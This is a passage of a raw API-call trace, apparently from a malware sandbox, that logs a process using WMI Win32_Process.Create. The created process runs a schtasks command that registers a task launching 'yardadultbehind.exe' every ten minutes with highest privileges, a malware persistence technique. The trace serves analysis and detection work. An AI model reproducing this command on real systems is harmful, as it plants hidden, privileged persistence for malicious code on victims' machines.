puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0162.112] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0162.112] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0162.112] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0162.112] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.114] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bce5dc0) returned 0x0 [0162.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5dc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0162.114] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5dc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0a950) returned 0x0 [0162.114] WbemDefPath:IUnknown:Release (This=0x1bce5dc0) returned 0x0 [0162.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0a950) returned 0x0 [0162.114] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0162.115] WbemDefPath:IUnknown:AddRef (This=0x1aa0a950) returned 0x3 [0162.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0162.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0162.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bce5e00) returned 0x0 [0162.115] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5e00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.115] WbemDefPath:IUnknown:Release (This=0x1bce5e00) returned 0x3 [0162.115] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0162.115] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0162.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0162.115] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x2 [0162.115] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x1 [0162.115] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0162.115] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0162.115] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a950, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0a950) returned 0x0 [0162.115] WbemDefPath:IUnknown:AddRef (This=0x1aa0a950) returned 0x3 [0162.115] WbemDefPath:IUnknown:Release (This=0x1aa0a950) returned 0x2 [0162.115] WbemDefPath:IWbemPath:SetText (This=0x1aa0a950, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0162.115] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.115] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0162.115] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.116] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0162.116] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0162.116] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0162.116] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.118] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce5fc0) returned 0x0 [0162.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce5fc0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0162.118] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce5fc0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a7d0) returned 0x0 [0162.118] WbemDefPath:IUnknown:Release (This=0x1bce5fc0) returned 0x0 [0162.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a7d0) returned 0x0 [0162.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0162.118] WbemDefPath:IUnknown:AddRef (This=0x1aa0a7d0) returned 0x3 [0162.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0162.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0162.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce6000) returned 0x0 [0162.119] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6000, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.119] WbemDefPath:IUnknown:Release (This=0x1bce6000) returned 0x3 [0162.119] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0162.119] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0162.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0162.119] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x2 [0162.119] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x1 [0162.119] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0162.119] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0162.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a7d0) returned 0x0 [0162.119] WbemDefPath:IUnknown:AddRef (This=0x1aa0a7d0) returned 0x3 [0162.119] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x2 [0162.119] WbemDefPath:IWbemPath:SetText (This=0x1aa0a7d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0162.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a950, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0162.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a7d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0162.119] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a7d0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0162.119] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a7d0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0162.120] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0a950) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a7d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a7d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a7d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0162.120] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a950, uIndex=0x0, pszName="root") returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a7d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a7d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0162.120] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a950, uIndex=0x1, pszName="cimv2") returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a7d0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a7d0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a950, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a950, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a950, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a950, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a950, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a950, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a950, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0162.120] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a950, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0162.121] IWbemServices:GetObject (in: This=0x1bb803f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb929a0, ppCallResult=0x0) returned 0x0 [0162.134] IWbemClassObject:GetMethod (in: This=0x1bb929a0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb92d10, ppOutSignature=0x1bb7e690*=0x1bb93080) returned 0x0 [0162.134] IWbemClassObject:SpawnInstance (in: This=0x1bb92d10, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc76c30) returned 0x0 [0162.134] IWbemClassObject:Get (in: This=0x1bc76c30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27908b8*=0, plFlavor=0x27908bc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27908b8*=8, plFlavor=0x27908bc*=32) returned 0x0 [0162.135] IWbemClassObject:Get (in: This=0x1bc76c30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27908b8*=8, plFlavor=0x27908bc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27908b8*=8, plFlavor=0x27908bc*=32) returned 0x0 [0162.135] IWbemClassObject:Put (This=0x1bc76c30, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"yardadultbehindy\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0162.135] IWbemClassObject:Get (in: This=0x1bc76c30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2790948*=0, plFlavor=0x279094c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2790948*=13, plFlavor=0x279094c*=32) returned 0x0 [0162.135] IWbemClassObject:Get (in: This=0x1bc76c30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2790948*=13, plFlavor=0x279094c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2790948*=13, plFlavor=0x279094c*=32) returned 0x0 [0162.135] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb922c0) returned 0x0 [0162.135] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0162.135] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0162.135] IUnknown:AddRef (This=0x1bb922c0) returned 0x3 [0162.136] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0162.136] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0162.136] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb922c8) returned 0x0 [0162.136] IMarshal:GetUnmarshalClass (in: This=0x1bb922c8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0162.136] IUnknown:Release (This=0x1bb922c8) returned 0x3 [0162.136] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0162.136] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0162.136] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0162.136] IUnknown:Release (This=0x1bb922c0) returned 0x2 [0162.136] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0162.136] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0162.136] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0162.136] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0162.136] IUnknown:QueryInterface (in: This=0x1bb922c0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0162.136] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0162.136] IUnknown:AddRef (This=0x1bb922c0) returned 0x3 [0162.136] IWbemClassObject:Put (This=0x1bc76c30, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb922c0, varVal2=0x0), Type=0) returned 0x0 [0162.137] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ad10, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0162.137] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0162.137] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ad10, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, 